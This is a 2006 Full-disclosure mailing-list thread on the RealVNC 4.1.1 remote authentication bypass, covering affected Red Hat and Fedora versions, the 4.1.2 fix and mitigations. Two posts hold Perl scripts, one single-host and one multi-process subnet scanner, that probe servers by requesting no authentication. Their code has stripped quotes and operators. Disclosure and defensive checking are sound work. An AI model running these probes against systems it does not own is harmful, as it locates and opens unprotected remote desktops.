Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise
This is a problem for version 4.1.1 only, so if you have earlier versions you must not worry about it. http://isc.sans.org/diary.php?storyid=1331 Jose Ramirez Quoting Ray Van Dolson [EMAIL PROTECTED]: On Mon, Jun 05, 2006 at 05:33:29PM -0600, Kurt Seifried wrote: How is it that even though this vulnerability has been known now for some time, Red Hat still has not issued a new package or security update that addresses this? On RHN, the most recent package I can find is 4.0.0 beta and the most recent security patch for VNC dates back to December 2004. Since Red Hat started distributing the package, why has it not been kept up with? Probably because customers are not bugging them to much for it? I've never used vnc-server on Linux or seen it used to be honest, and although it is a nasty problem it's easy to deal with (just firewall it to trusted systems or wrap a VPN around it). They are obviously aware of this issue (it was fixed in Fedora Core 5, reported by Mark J. Cox). https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=191692 That bugzilla report makes it sound like RHEL versions of VNC are unaffected? I've verified that by altering a client in this way you are able to bypass password authentication in vnc 4.1.1 but not in earlier versions as shipped in Red Hat Enterprise Linux (their server connection souce code is different). Ray
Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise
On Mon, Jun 05, 2006 at 05:33:29PM -0600, Kurt Seifried wrote: How is it that even though this vulnerability has been known now for some time, Red Hat still has not issued a new package or security update that addresses this? On RHN, the most recent package I can find is 4.0.0 beta and the most recent security patch for VNC dates back to December 2004. Since Red Hat started distributing the package, why has it not been kept up with? Probably because customers are not bugging them to much for it? I've never used vnc-server on Linux or seen it used to be honest, and although it is a nasty problem it's easy to deal with (just firewall it to trusted systems or wrap a VPN around it). They are obviously aware of this issue (it was fixed in Fedora Core 5, reported by Mark J. Cox). https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=191692 That bugzilla report makes it sound like RHEL versions of VNC are unaffected? I've verified that by altering a client in this way you are able to bypass password authentication in vnc 4.1.1 but not in earlier versions as shipped in Red Hat Enterprise Linux (their server connection souce code is different). Ray
Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise
On 6/6/06, Kurt Seifried [EMAIL PROTECTED] wrote: How is it that even though this vulnerability has been known now for some time, Red Hat still has not issued a new package or security update that addresses this? On RHN, the most recent package I can find is 4.0.0 beta and the most recent security patch for VNC dates back to December 2004. Since Red Hat started distributing the package, why has it not been kept up with? Probably because customers are not bugging them to much for it? I've never used vnc-server on Linux or seen it used to be honest, and although it is a nasty problem it's easy to deal with (just firewall it to trusted systems or wrap a VPN around it). They are obviously aware of this issue (it was fixed in Fedora Core 5, reported by Mark J. Cox). https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=191692 RedHat Enterprise Linux comes with a beta version of RealVNC 4.0.0, which is not affected by this vulnerability (as fas as I'm aware, only version 4.1.1 was affected). Fedora, on the other hand, had RealVNC 4.1.1 which is why a bug at Bugzilla was filed for this. Cheers, Bojan
Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise
How is it that even though this vulnerability has been known now for some time, Red Hat still has not issued a new package or security update that addresses this? On RHN, the most recent package I can find is 4.0.0 beta and the most recent security patch for VNC dates back to December 2004. Since Red Hat started distributing the package, why has it not been kept up with? Probably because customers are not bugging them to much for it? I've never used vnc-server on Linux or seen it used to be honest, and although it is a nasty problem it's easy to deal with (just firewall it to trusted systems or wrap a VPN around it). They are obviously aware of this issue (it was fixed in Fedora Core 5, reported by Mark J. Cox). https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=191692 -Kurt
Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise
How is it that even though this vulnerability has been known now for some time, Red Hat still has not issued a new package or security update that addresses this? On RHN, the most recent package I can find is 4.0.0 beta and the most recent security patch for VNC dates back to December 2004. Since Red Hat started distributing the package, why has it not been kept up with?
Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise
I hacked your code into something multi-threaded--enjoy.
- Matt
#!/usr/bin/perl
# Multi-threaded scan for OpenVNC 4.11 authentication bypass.
# Based on Tyler Krpata's Perl scanning code.
use strict;
use warnings;
use IO::Socket;
use threads;
use threads::shared;
use Errno qw(EAGAIN);
# Configuration variables
use constant VNC_PORT = 5900;
my $splits = 5; # Creates 2^N processes.
my $avg_time = 5; # Tweak this to get better time estimates.
our $subnet;
our @results : shared;
our $todo = 0;
my $orig_thread = yes;
my $start;
my $end;
my $time_estimate;
my $elapsed = time;
my $out_file;
++$|; # To watch as the results come in, in real time.
$subnet = $ARGV[0] || ; # Get subnet from command line, else ask for it.
while (1) {
last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/;
print \nWhat subnet do you want to scan? ;
chomp($subnet = STDIN);
print That does not look right. Enter something like 192.168.1.*\n\n;
}
# Put the subnet in the form x.y.z. so we can just concatenate the hostnum.
$subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
$subnet .= .;
$out_file = VNC_ . $subnet . txt;
# Mostly a guesstimate
$time_estimate = $avg_time * (256 / (2**$splits));
$time_estimate = int ($time_estimate / 60);
$time_estimate += 4;
print \nScanning subnet ${subnet}x -- this should take approximately
$time_estimate minute(s).\n;
print [!] = Vulnerable, [*] = Safe, [.] = No response.\n\n;
CHECK: {
unless ($splits = 0 $splits = 8) {
die ERROR: Do not split $splits times--that makes no sense.\n;
}
unless ($splits = 5) {
warn Reduce the number of splits from $splits to 5 or less if you
get memory errors.\n\n;
}
}
# Ugly, but this works.
DivideWork() if $splits = 1;
DivideWork() if $splits = 2;
DivideWork() if $splits = 3;
DivideWork() if $splits = 4;
DivideWork() if $splits = 5;
DivideWork() if $splits = 6;
DivideWork() if $splits = 7;
DivideWork() if $splits = 8;
# Which IPs this thread scans.
$start = $todo (8 - $splits);
$end = $start + (256 / (2**$splits)) - 1;
foreach ($start .. $end) {
Scan_VNC($_);
}
wait until $?; # Wait for children to finish.
exit unless $orig_thread eq yes;
# Only the original parent thread will continue.
$elapsed = time - $elapsed;
$elapsed /= 60;
$elapsed = int $elapsed;
print \n\nFinished scanning ${subnet}x in $elapsed minute(s).\n;
SaveData();
exit;
sub DivideWork {
my $pid;
FORK: {
$todo *= 2;
if ($pid = fork) {
# Parent
++$todo;
} elsif (defined $pid) {
# Child
$orig_thread = no;
} elsif ($! == EAGAIN) {
# Recoverable forking error.
sleep 7;
redo FORK;
} else {
# Unable to fork.
die Unable to fork: $!\n;
}
}
}
sub SaveData {
my $vulns = 0;
open(FOUND, , $out_file) or die Cannot open $out_file -- $!;
foreach my $IP (1..254) {
my $record;
$record = $results[$IP];
unless ($record =~ m/not vulnerable/io) {
++$vulns;
print FOUND $record;
}
}
print FOUND \nVulnerabilites found: $vulns;
close(FOUND) or die Cannot close $out_file -- $!;
print Data saved to ${out_file}\n\n;
}
sub Scan_VNC {
# Scan for OpenVNC 4.11 authentication bypass.
my $hostnum = shift;
my $host = $subnet . $hostnum;
my $sock;
my $proto_ver;
my $ignored;
my $auth_type;
my $sec_types;
my $vnc_data;
$host or die(ERROR: no host passed to Scan_VNC.\n);
# The host numbers .0 and .255 are reserved; ignore them.
if ($hostnum = 0 or $hostnum = 255) { return; }
# Format things nicely--that crazy formula just adds spaces.
$results[$hostnum] = $host;
$results[$hostnum] .= ( x (4 - int(log($hostnum)/log(10 . = ;
unless ($sock = IO::Socket::INET-new(PeerAddr = $host, PeerPort =
VNC_PORT, Proto = 'tcp',)) {
$results[$hostnum] .= Not vulnerable, no response.\n;
print .;
return;
}
# Negotiate protocol version.
$sock-read($proto_ver, 12);
print $sock $proto_ver;
# Get supported security types and ignore them.
$sock-read($sec_types, 1);
$sock-read($ignored, unpack('C', $sec_types));
# Claim that we only support no authentication.
print $sock \x01;
# We should get back, indicating that they won't fall back to
no authentication.
$sock-read($auth_type, 4);
if (unpack('I', $auth_type)) {
$results[$hostnum] .= Not vulnerable, refused to support
authentication type.\n;
print *;
close($sock);
return;
}
# Client initialize.
print $sock \x01;
# If the server starts sending data, we're in.
$sock-read($vnc_data, 4);
if (unpack('I', $vnc_data)) {
$results[$hostnum] .= VULNERABLE! $proto_ver\n;
print !;
} else {
$results[$hostnum] .= Not vulnerable, did not send data.\n;
print *;
}
close($sock);
return;
}
RE: [Full-disclosure] RealVNC 4.1.1 Remote Compromise
Here's a real quick vulnerability check in Perl...I think someone else
put out another scanner, but there was no source provided and it wasn't
working right for me.
#!/usr/bin/perl
# scan for OpenVNC 4.11 authentication bypass
use IO::Socket;
$host = $ARGV[0];
$port = $ARGV[1] || 5900;
$host or die($0 host port\n);
print Connecting to $host:$port...; $| = 1;
($sock = IO::Socket::INET-new(PeerAddr = $host,
PeerPort = $port,
Proto= 'tcp',)) ? print success!\n
: die(failed\n);
#negotiate protocol
$sock-read($protocol_version,12);
print $sock $protocol_version;
print Using protocol $protocol_version;
# get security types that we'll be ignoring
$sock-read($security_types,1);
$sock-read($hahaha,unpack('C',$security_types));
# choose no authentication
print $sock \x01;
# we should get back
$sock-read($in,4);
if(unpack('I',$in)) { die(Not vulnerable\n) };
# client initialize
print $sock \x01;
# if the server starts sending data we are in
$sock-read($in,4);
(unpack('I',$in)) ? print(Vulnerable!\n) : die(Not vulnerable\n) ;
exit;
Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise
On Mon, May 15, 2006 at 07:58:10AM -0500, Dixon, Wayne wrote: So what can be done about this exploit? Does 4.1.2 protect against this vulnerability? And what other mitigation procedures are available for this? The best solution is not to run a VNC service using no more than it's own authentication. Most offer only password auth, which is quite simply insufficient. Use some auth scheme based on certificates or somesuch - ssh, IPSec and OpenVPN all offer this capability. Joachim
Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise
To share information about the new Release Notes document: this issue has been fixed in version 4.1.2 (Free Edition) http://www.realvnc.com/products/free/4.1/release-notes.html http://www.realvnc.com/download.html - Juha-Matti
